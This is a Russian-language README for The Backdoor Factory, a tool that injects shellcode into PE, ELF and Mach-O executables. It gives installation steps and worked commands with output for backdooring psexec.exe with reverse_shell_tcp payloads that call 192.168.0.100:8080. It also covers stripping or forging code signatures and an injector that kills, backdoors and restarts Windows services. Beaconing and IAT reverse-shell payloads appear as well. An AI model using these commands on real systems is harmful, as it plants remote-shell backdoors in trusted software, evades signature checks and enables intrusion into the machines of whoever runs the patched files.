Патч PE, ELF, Mach-O бинарных файлов с shellcode, новая версия в разработке, доступна только спонсорам
Только для специалистов по безопасности и исследователей.
Цель BDF — патчить исполняемые бинарные файлы пользовательским шеллкодом и продолжать нормальное выполнение из исходного состояния.
Black Hat USA 2015:
Видео: https://www.youtube.com/watch?v=OuyLzkG16Uk
Статья: https://www.blackhat.com/docs/us-15/materials/us-15-Pitts-Repurposing-OnionDuke-A-Single-Case-Study-Around-Reusing-Nation-State-Malware-wp.pdf
Shmoocon 2015:
Видео: https://archive.org/details/joshpitts_shmoocon2015
Статья: https://www.dropbox.com/s/te7e35c8xcnyfzb/JoshPitts-UserlandPersistenceOnMacOSX.pdf
DerbyCon 2014:
Видео: http://www.youtube.com/watch?v=LjUN9MACaTs
DerbyCon 2013:
Видео: http://www.youtube.com/watch?v=jXLb2RNX5xs
Демонстрация модуля инъекции: http://www.youtube.com/watch?v=04aJAex2o3U
Слайды: http://www.slideshare.net/midnite_runr/patching-windows-executables-with-the-backdoor-factory
Связаться с разработчиком:
IRC:
irc.freenode.net #BDFactory
Twitter:
@midnite_runr
Под лицензией BSD 3-Clause
Смотрите вики: https://github.com/secretsquirrel/the-backdoor-factory/wiki
docker pull secretsquirrel/the-backdoor-factory
docker run -it secretsquirrel/the-backdoor-factory bash
# ./backdoor.py
#####Чтобы использовать OnionDuke, вы ДОЛЖНЫ находиться на машине Intel, так как aPLib пока не поддерживает набор команд ARM.
Capstone engine можно установить из PyPi с помощью:
sudo pip install capstone
Pefile, последняя версия:
https://code.google.com/p/pefile/
osslsigncode (включён в репозиторий):
http://sourceforge.net/p/osslsigncode/osslsigncode/ci/master/tree/
Установка в Kali:
apt-get update
apt-get install backdoor-factory
ДРУГИЕ *NIX/MAC УСТАНОВКА:
./install.sh
Это установит Capstone с 3.01 pip и установит pefile.
ОБНОВЛЕНИЕ:
./update.sh
Поддержка:
Windows PE x86/x64, ELF x86/x64 (System V, FreeBSD, ARM Little Endian x32),
и Mach-O x86/x64, а также эти форматы в FAT-файлах
Упакованные файлы: PE UPX x86/x64
Экспериментально: OpenBSD x32
Некоторые исполняемые файлы имеют встроенные защиты, поэтому этот инструмент будет работать не со всеми бинарными файлами. Рекомендуется тестировать целевые бинарные файлы перед развертыванием у клиентов или использованием в упражнениях. Я на пороге обхода NSIS, так что обход этих проверок будет добавлен в будущем.
Большое спасибо Райану О'Нилу --ryan 'at' codeslum <d ot> org--
Без него я бы до сих пор пытался делать глупые вещи
с форматом ELF.
Также спасибо Silvio Cesare с его статьёй 1998 года
(http://vxheaven.org/lib/vsc01.html), на которой основаны
эти методы патчинга ELF.
./backdoor.py -h Использование: backdoor.py [опции]
##Возможности:
###PE файлы
Может находить все код-кейвы в EXE/DLL.
По умолчанию очищает указатель на таблицу сертификатов PE, тем самым снимая подпись с бинарного файла.
Может внедрять шеллкод в код-кейвы или в новую секцию.
Может определить, нужно ли запускать PE-бинарный файл с повышенными привилегиями.
При выборе код-кейвов можно использовать следующие команды:
-Jump (j), для прыжка по код-кейву
-Single (s), для размещения всего шеллкода в одном кейве
-Append (a), для создания код-кейва
-Ignore (i или q), неважно, игнорировать этот бинарный файл
Может игнорировать DLL
Патчинг таблицы импорта
Автопатчинг (-m automtic)
Onionduke (-m onionduke)
###ELF файлы
Расширяет TEXT SEGMENT на 1000 байт и внедряет шеллкод в эту секцию кода.
###Mach-O файлы Патчинг секции Pre-Text и удаление подписи
###В целом
Пользователь может:
-Предоставить свой шеллкод.
-Патчить каталог исполняемых файлов/DLL.
-Выбирать только x32 или x64 бинарные файлы для патчинга.
-Включать BDF в другие проекты Python, см. pebin.py и elfbin.py
###Патчинг exe/dll с использованием существующего код-кейва:
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 402
[*] All caves lengths: (402,)
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 402
[*] Available caves:
1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End: 0x2e6d0; Cave Size: 507
2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End: 0x2e8d5; Cave Size: 492
3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End: 0x2ead8; Cave Size: 501
4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End: 0x2ecdd; Cave Size: 492
5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End: 0x2eee0; Cave Size: 505
6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End: 0x2f0e5; Cave Size: 498
7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End: 0x2f2ea; Cave Size: 495
8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End: 0x2f4f8; Cave Size: 505
9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End: 0x2f7a0; Cave Size: 559
10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End: 0x5b468; Cave Size: 559
**************************************************
[!] Enter your selection: 5
Using selection: 5
[*] Changing Section Flags
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory
###Патчинг exe/dll добавлением секции кода:
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Creating Code Cave
- Adding a new section to the exe/dll for shellcode injection
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory
###Патчинг каталога exe: ./backdoor.py -d test/ -i 192.168.0.100 -p 8080 -s reverse_shell_tcp -a ...вывод слишком длинный для README...
###Пользовательский шеллкод: msfpayload windows/exec CMD='calc.exe' R > calc.bin ./backdoor.py -f psexec.exe -s user_supplied_shellcode -U calc.bin Это запустит calc.exe на целевой рабочей станции Windows. Так 1337. Много pwn. Вау.
###Подпись PE-кода
BDF может подписывать PE-файлы, если у вас есть сертификат для подписи кода. Используется osslsigncode. Поместите ваш сертификат и закрытый ключ в каталог certs/. Подготовьте сертификаты с помощью команд openssl из этой статьи в блоге: http://secureallthethings.blogspot.com/2015/12/add-pe-code-signing-to-backdoor-factory.html
Поместите пароль от закрытого ключа в файл (ах) следующим образом (именно так):
echo -n yourpassword > certs/passFile.txt
Назовите ваши сертификаты ТОЧНО следующим образом:
signingCert.cer => certs/signingCert.cer
signingPrivateKey.pem => certs/signingPrivateKey.pem
Ваш каталог certs/ должен выглядеть точно так:
certs
├── passFile.txt
├── signingPrivateKey.pem
└── signingCert.cer
Включите подпись PE-кода с помощью флага -C:
./backdoor.py -f tcpview.exe -s iat_reverse_tcp_inline -H 172.16.186.1 -P 8080 -m automatic -C
При успешном запуске вы должны увидеть эту строку в выводе BDF:
[*] Code Signing Succeeded
###Охота и бэкдор: Injector | Только Windows Модуль injector ищет целевые исполняемые файлы для бэкдора на диске. Он проверяет, определили ли вы цель как службу, проверяет, запущен ли процесс, убивает процесс и/или службу, внедряет шеллкод в исполняемый файл, сохраняет оригинальный файл как file.exe.old или с другим суффиксом по выбору, и пытается перезапустить процесс или службу. Отредактируйте словарь Python "list_of_targets" в модуле 'injector' для выбора целей.
./backdoor.py -i -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a -u .moocowwow
###Журнал изменений
####01/11/2016
####07/04/2016
####06/19/2016
####12/20/2015
####12/18/2015
####11/17/2015
####11/13/2015
####10/19/2015
####10/13/2015
####08/12/2015
Добавлен метод патча 'replace' — прямая копипаста PE из предоставленного бинарного файла
Больше для использования с BDFProxy
Использование: ./backdoor.py -f weee.exe -m replace -b supplied_binary.exe
####08/11/2015
####08/05/2015
####5/01/2015
####4/28/2015
####4/14/2015
Очень много обновлений:
Автоматический патчинг для PE-файлов (используйте -m automatic с полезной нагрузкой *_threaded)
Новые полезные нагрузки IAT для PE x86/x64
Просто смотрите: https://www.youtube.com/watch?v=kkLI_ur6BxY
####2/14/2015 Я люблю вас, ребята
Добавлен патчинг таблицы адресов импорта для PE для поддержки полезных нагрузок iat_reverse_tcp, использующих таблицу импорта для вызовов WinAPI. Если патчируемый бинарный файл не имеет LoadLibraryA и GetProcAddress, например, BDF вставит их в новую таблицу импорта в новой секции. Поддерживает PE x64/x86.
Добавлен iat_reverse_tcp для PE x64.
Исправления ошибок и улучшения
####1/1/2015
С Новым Годом!
Две новые полезные нагрузки для OS X! Задержка: delay_reverse_shell_tcp
-B 30 --> задержка полезной нагрузки на 30 секунд, основной код выполняется сразу.
Установка фиксированного коммита Capstone для сборки в BDF, репозиторий Capstone 'Next' ломает BDF.
Исправления для поддержки проблемы с обрезанием нулевых байтов в реализации Capstone на Cython
####12/27/2014
Добавлен payloadtests.py
Этот скрипт выведет пропатченные файлы в backdoored, что позволит пользователю тестировать полезные нагрузки по своему усмотрению. Каждый тип полезной нагрузки увеличивает используемый порт на единицу.
Использование: payloadtest.py binary HOST PORT
####12/17/2014
Полезные нагрузки с маячком для OS X x86 и x64: beaconing_reverse_shell_tcp
-B 15 --> установить время маячка на 15 сек
Исправление ошибки для поддержки OS X в BDFProxy
####10/11/2014
Добавлен патчинг PE UPX
####9/26/2014
Добавлены Mach-O x86/x64
Оптимизация полезной нагрузки IAT для x86
####7/31/2014
Добавлена поддержка патчинга ARM x32 LE ELF
####7/22/2014
Добавлена поддержка патчинга FreeBSD x32 ELF
Изменение на лицензию BSD 3-Clause
####7/13/2014
Интегрирован Capstone: http://www.capstone-engine.org/
В процессе добавления Capstone я удалил около 500 строк кода. Это довольно круто.
Переименовал loadliba_reverse_tcp в iat_reverse_tcp.
Небольшие оптимизации для скорости.
####5/30/2014
Добавлена новая полезная нагрузка для win86: loadliba_reverse_tcp